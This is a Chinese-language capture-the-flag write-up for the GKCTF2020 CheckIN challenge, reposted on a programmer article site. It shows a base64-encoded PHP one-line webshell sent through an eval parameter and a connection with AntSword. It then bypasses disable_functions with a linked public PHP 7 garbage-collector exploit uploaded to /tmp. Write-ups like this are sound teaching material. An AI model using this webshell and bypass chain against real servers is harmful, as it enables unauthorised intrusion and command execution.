欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

[GKCTF2020]CheckIN详解

程序员文章站 2022-03-25 07:50:07
...

打开之后是这样的,没有发现反序列化函数,但是发现有一个@eval,想到了一句话,这是用base64进行传参
[GKCTF2020]CheckIN详解
首先传参phpinfo();看看,需要经过base64编码

http://e0cc90ac-d4bc-450c-a6a4-476298ce7c18.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

[GKCTF2020]CheckIN详解
找到disable_functions,发现过滤了许多危险函数
[GKCTF2020]CheckIN详解
我们上传一个一句话木马看看
eval($_POST[123]);,经过base64是ZXZhbCgkX1BPU1RbMTIzXSk7
执行

http://e0cc90ac-d4bc-450c-a6a4-476298ce7c18.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1BPU1RbMTIzXSk7

用菜刀,连不上,我呆了,还好有个蚁剑
[GKCTF2020]CheckIN详解
再试一下,成功了
[GKCTF2020]CheckIN详解
发现了flag,结果打不开,也修改不了权限
[GKCTF2020]CheckIN详解
打开readflag看看,有乱码,想到是通过执行readflag来读取flag
[GKCTF2020]CheckIN详解
然后怎么办,我在不会了。。。
看了大佬的wp后才知道做题要注意版本
通过phpinfo()知道php版本为7.3,这个版本有一个漏洞
php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3
给出了exp
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
下载后进行修改,改为执行readflag

[GKCTF2020]CheckIN详解
然后通过蚁剑进行上传这里发现tmp目录权限是1777,于是决定上传到这个目录
[GKCTF2020]CheckIN详解
点击此处上传
[GKCTF2020]CheckIN详解
通过之前的一句话来执行文件包含,得到flag
[GKCTF2020]CheckIN详解

相关标签: 刷题 ctf